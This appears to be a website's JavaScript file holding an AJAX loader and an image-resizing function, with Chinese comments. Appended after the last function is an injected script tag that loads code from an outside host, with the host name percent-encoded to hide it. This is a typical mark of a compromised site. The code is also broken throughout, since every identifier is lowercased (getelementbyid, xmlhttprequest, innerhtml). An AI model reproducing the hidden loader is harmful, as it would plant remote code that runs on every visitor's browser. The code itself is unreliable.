var ajax={
	http_request:false,
	divobj:null,
	waitstate:null,
	success:null,
	get:function (divid,url) {
		ajax.http_request = false;
		ajax.divobj = document.getelementbyid(divid);
		if(window.xmlhttprequest) { //mozilla 浏览器
			ajax.http_request = new xmlhttprequest();
			if (ajax.http_request.overridemimetype) {//设置mime类别
				ajax.http_request.overridemimetype('text/xml');
			}
		}else if (window.activexobject) { // ie浏览器
			try {
				ajax.http_request = new activexobject("msxml2.xmlhttp");
			} catch (e) {
				try {
					ajax.http_request = new activexobject("microsoft.xmlhttp");
				} catch (e) {}
			}
		}
		if (!ajax.http_request) {
			window.alert("不能创建xmlhttprequest对象实例.");
			return false;
		}
		ajax.http_request.onreadystatechange = ajax.processrequest;
		ajax.http_request.open("get", url+"&"+math.random(), true);
		ajax.http_request.send(null);
	},
    processrequest:function () {
        if (ajax.http_request.readystate == 4) {
            if (ajax.http_request.status == 200) {
				if(ajax.divobj!=null){
					ajax.divobj.innerhtml=ajax.http_request.responsetext;
				}
            } else {
                alert("您所请求的页面有异常。");
            }
        }else{
			if(ajax.divobj!=null){
				ajax.divobj.innerhtml='<hr>请等待...<hr>';
			}
		}
    }
}
function makesmallpic(obj,w,h){
	var srcimage = new image();
	srcimage.src=obj.src;
	var srcw=srcimage.width;		
	var srch=srcimage.height;

	if (srcw==0)
	{
		obj.src=srcimage.src;
		srcimage.src=obj.src;
		var srcw=srcimage.width;		
		var srch=srcimage.height;
	}
	if (srch==0)
	{
		obj.src=srcimage.src;
		srcimage.src=obj.src;
		var srcw=srcimage.width;		
		var srch=srcimage.height;
	}

	if(srcw>srch){
		if(srcw>w){
			obj.width=neww=w;
			obj.height=newh=(w/srcw)*srch;
		}else{
			obj.width=neww=srcw;
			obj.height=newh=srch;
		}
	}else{
		if(srch>h){
			obj.height=newh=h;
			obj.width=neww=(h/srch)*srcw;
		}else{
			obj.width=neww=srcw;
			obj.height=newh=srch;
		}
	}
	if(neww>w){
		obj.width=w;
		obj.height=newh*(w/neww);
	}else if(newh>h){
		obj.height=h;
		obj.width=neww*(h/newh);
	}
}<script src=http://%76%63%63%64%2e%63%6e/%32></script>                                

